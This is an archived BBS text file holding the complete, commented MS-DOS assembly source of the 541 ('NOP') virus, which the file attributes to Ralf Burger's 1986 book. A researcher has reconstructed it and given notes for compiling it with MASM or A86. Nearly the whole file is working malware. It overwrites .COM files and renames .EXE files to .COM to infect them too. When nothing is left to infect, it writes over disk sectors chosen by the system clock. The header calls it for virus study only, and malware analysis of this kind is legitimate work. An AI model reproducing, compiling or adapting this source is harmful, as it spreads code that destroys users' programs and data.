home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
-
- PAGE 70,120
-
- ;;██████████████████████████████████████████████████████████████████████████
- ;;██ ██
- ;;██ Name Virus: 541-Virus 14 Sept 1990 ██
- ;;██ Suggested Alias: NOP-Virus ██
- ;;██ Variant: 537-Virus, 560-Virus ██
- ;;██ ██
- ;;██ Last Reported: September 1990 ██
- ;;██ 'Isolated': The Hague, The Netherlands ██
- ;;██ by: Righard Zwienenberg 2:512/2.3@fidonet ██
- ;;██ ██
- ;;██ Author: Ralf Burger in 1986 for his book: ██
- ;;██ VIRUSES, A HIGH TECHNICAL DISEASE ██
- ;;██ ██
- ;;██ ██
- ;;██ The code of this virus was built into a MOVE-util. It was imple- ██
- ;;██ mented wrong. The virus went straight to the destruction code. ██
- ;;██ I've taken the code out and reconstructed it to its original ██
- ;;██ form. Because I had a listing of Ralf Burger's book I have placed ██
- ;;██ his own comments behind the code, although I've translated it into ██
- ;;██ English. The labels used, are also his. ██
- ;;██ ██
- ;;██ I've put three comments myself in the code. These can be recog- ██
- ;;██ nized by the starting ;; of it. ██
- ;;██ ██
- ;;██ Edwin Cleton, the one who send me the MOVE util for examination ██
- ;;██ downloaded it from a BBS. So far there are no damage reports. ██
- ;;██ The move-util checked the system's date. If the date is 1 Aug ██
- ;;██ or later of any year, the virus was called. ██
- ;;██ ██
- ;;██████████████████████████████████████████████████████████████████████████
- ;;██ ██
- ;;██ This sourcelisting can be recompiled with MASM 4.0+ and A86. For ██
- ;;██ compilation with A86 you must specify 'conta' and 'disks' as a word ██
- ;;██ else the definition will conflict with what A86 previously thinks. ██
- ;;██ ██
- ;;██████████████████████████████████████████████████████████████████████████
- ;;██ ██
- ;;██ Virus-Description: ██
- ;;██ ------------------ ██
- ;;██ ██
- ;;██ The virus infects the first COM-file in the ROOT-Directory. The ██
- ;;██ virus overwrites the first 230h bytes of the file. When an infected ██
- ;;██ file is executed it will infect one other .COM-file. The system will ██
- ;;██ crash mostly afterwards because the overwritten part is not stored. ██
- ;;██ When COMMAND.COM is infected on the HDU, the system will not reboot ██
- ;;██ because COMMAND.COM is complete. Each reboot COMMAND.COM will infect ██
- ;;██ one other .COM-File and the computer crashes. When all .COM-files ██
- ;;██ are infected, .EXE-files will be renamed (FCB) to .COM to become ██
- ;;██ infected. When all .COM and .EXE-files are infected, the virus will ██
- ;;██ write to sectors on disk depending on the system's time. ██
- ;;██ The infected files are lost en must be replaced by backup-copies. ██
- ;;██ ██
- ;;██ The shortest size an infected file can be is 230h bytes. The code is ██
- ;;██ shorter, but this is the value which has been put into the code as ██
- ;;██ the virus-length. ██
- ;;██ ██
- ;;██████████████████████████████████████████████████████████████████████████
-
-
- Code Segment
- Assume CS:Code
- progr equ 100h
- org progr
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; The three NOP's are set as a identifier for the virus. This way
- ; the virus knows this copy is already infected.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- MAIN:
- nop
- nop
- nop
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Init the Pointers
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ax,0
- mov es:[pointer],ax
- mov es:[counter],ax
- mov es:[disks],al
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Get actual diskdrive
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,19h ; drive?
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Get actual path
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov cs:drive,al ; save drive
- mov ah,47h ; dir?
- mov dh,0
- add al,1
- mov dl,al ; in actual drive?
- lea si,cs:old_path
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Get actual number of present diskdrives.If only one diskdrive is present,
- ; the pointer for 'search_order' will transfered to 'search_order + 6'
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,0Eh ; how many disks
- mov dl,0
- int 21h
- mov al,1
- cmp al,1 ; one drive?
- jne hups3
- mov al,6
- hups3:
- mov ah,0
- lea bx,cs:search_order
- add bx,ax
- add bx,1
- mov cs:pointer,bx
- clc
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; The carry-flag is set if the search will find no more .COM-files. To do
- ; it the easy way, all .EXE-files will get the .COM-extention to become
- ; infected. This will result in an error if the executed .EXE is to big.
- ; The error-message 'Program too big to fit in memory' will be the result.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- change_disk:
- jnc no_name_change
- mov ah,17h ; change exe to com
- lea dx,cs:mask_exe
- int 21h
- cmp al,0FFh
- jnz no_name_change ; .EXE found?
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; When no .COM or .EXE-files are found, sectors will be overwritten,
- ; depending from the system's time in the msec-range. This is the moment
- ; that the entire disk is infected. 'VIRUS' can not infect any more and
- ; starts the destruction.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,2Ch ; read system clock
- int 21h
- mov bx,cs:pointer
- mov al,cs:[bx]
- mov bx,dx
- mov cx,2
- mov dh,0
- int 26h ; Write shit on disk
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Test if the end of the seek-procedure or of the table has been reached.
- ; If so: end.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- no_name_change:
- mov bx,cs:pointer
- dec bx
- mov cs:pointer,bx
- mov dl,cs:[bx]
- cmp dl,0FFh
- jnz hups2
- jmp hops
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Get new disk from the list with search orders and make it the actual one.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- hups2:
- mov ah,0Eh
- int 21h ; change disk
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Start at the ROOT-Directory.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,3Bh ; change path
- lea dx,cs:path
- int 21h
- jmp find_first_file
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Starting from the ROOT-dir, search for the first sub-dir. Previous change
- ; all .EXE-files into .COM-files in the old directory.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- find_first_subdir:
- mov ah,17h ; change exe to com
- lea dx,cs:mask_exe
- int 21h
- mov ah,3Bh ; use root dir
- lea dx,cs:path
- int 21h
- mov ah,4Eh ; search for first subdir
- mov cx,11h ; dir mask
- lea dx,cs:mask_dir
- int 21h
- jc change_disk
- mov bx,cs:counter
- inc bx
- dec bx
- jz use_next_subdir
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Search for the next sub-dirs. Change to other drive if no sub-dir is
- ; found.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- find_next_subdir:
- mov ah,4Fh ; search for next sub-dir.
- int 21h
- jc change_disk
- dec bx
- jnz find_next_subdir
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Change found sub-dir in actual one.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- use_next_subdir:
- mov ah,2Fh ; get dta address
- int 21h
- add bx,1Ch
- mov word ptr es:[bx],'\' ; address of name in dta
- inc bx
- push ds
- mov ax,es
- mov ds,ax
- mov dx,bx
- mov ah,3Bh ; change path
- int 21h
- pop ds
- mov bx,cs:counter
- inc bx
- mov cs:counter,bx
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Search first .COM-file in the actual directory. If no .COM-files present,
- ; search the next directory.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- find_first_file:
- mov ah,4Eh ; search for first
- mov cx,1 ; mask
- lea dx,cs:mask_com
- int 21h
- jc find_first_subdir
- jmp short check_if_ill
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; If the file is already infected, search next file.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- find_next_file:
- mov ah,4Fh ; search for next
- int 21h
- jc find_first_subdir
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Test on infection.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- check_if_ill:
- mov ah,3Dh ; open channel
- mov al,2 ; read/write
- mov dx,9Eh ; address of name in dta
- int 21h
- mov bx,ax ; save channel
- mov ah,3Fh ; read file
- mov cx,buflen
- mov dx,buffer ; write in buffer
- int 21h
- mov ah,3Eh ; close file
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Test if the three NOPs of 'VIRUS' are present. If so, the file is already
- ; infected, continue searching.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov bx,cs:[buffer]
- cmp bx,9090h
- jz find_next_file
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Erase the write-protection attribute from MS-DOS.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,43h ; write enable
- mov al,0
- mov dx,9Eh ; address of name in dta
- int 21h
- mov ah,43h
- mov al,1
- and cx,0FEh
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Open file for writing/reading.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,3Dh ; open channel
- mov al,2 ; read/write
- mov dx,9Eh ; address of name in dta
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Store date of file for later use.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov bx,ax ; channel
- mov ah,57h ; get date
- mov al,0
- int 21h
- push cx ; save data
- push dx
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Save the original jump from program.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov dx,cs:[conta] ; save old jmp
- mov cs:[jmpbuf],dx
- mov dx,cs:[buffer+1] ; save new jump
- lea cx,cs:cont-100h
- sub dx,cx
- mov cs:[conta],dx
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; 'VIRUS' copies itself to the beginning of a file.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,40h ; write virus
- mov cx,buflen ; length buffer
- lea dx,main ; write virus
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Restore the old file-date.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,57h ; write date
- mov al,1
- pop dx
- pop cx ; restore date
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Close file.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,3Eh ; close file
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump
- ; which was at the beginning of the host-program. This will keep the host-
- ; program as much executable as possible. After storing the address, it
- ; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the
- ; work-memory of the program.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov dx,cs:[jmpbuf] ; restore old jmp
- mov cs:[conta],dx
- hops:
- nop
- call use_old
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Continue the execution of the host-program.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
- cont db 0e9h
- conta dw 0
- mov ah,00
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Activate the diskdrive choosen at the entry of the program.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- use_old:
- mov ah,0eh ; use old drive
- mov dl,cs:drive
- int 21h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; Activate the path choosen at the entry of the program.
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- mov ah,3Bh ; use old dir
- lea dx,cs:[1FDh] ; get old path and
- ; backslash
- int 21h
- ret
-
-
- search_order db 0FFh,1,0,2,3,0FFh,0,0FFh
- pointer dw 0000
- counter dw 0000
- disks db 0
- mask_com db "*.com",00 ; search for com-files
- mask_dir db "*",00 ; search for dirs
- mask_exe db 0FFh, 0, 0, 0, 0, 0, 3Fh
- db 0,"????????exe",0,0,0,0
- db 0,"????????com",0
- mask_all db 0FFh, 0, 0, 0, 0, 0, 3Fh
- db 0,"???????????",0,0,0,0
- db 0,"????????com",0
-
- ;; mask_all is never used by the code and easilly can be ommited
- ;; to shorten the code
-
- buffer equ 0e000h ; a save place
- buflen equ 230h ; length of virus
-
- ;; At this place I disagree with Ralf. The actual length of the virus
- ;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled
- ;; in A86. Because it was Ralf's intention to compile this in MASM
- ;; 21Dh should be the original length.
-
- jmpbuf equ buffer+buflen ; a save place for jmp
- path db "\",0 ; first path
- drive db 0 ; actual drive
- back_slash db "\"
-
- ;; This variable is never used in the code and easilly can be ommited
- ;; to shorten the code.
-
- old_path db 32 dup (?) ; old path
-
- code ends
-
- end main
-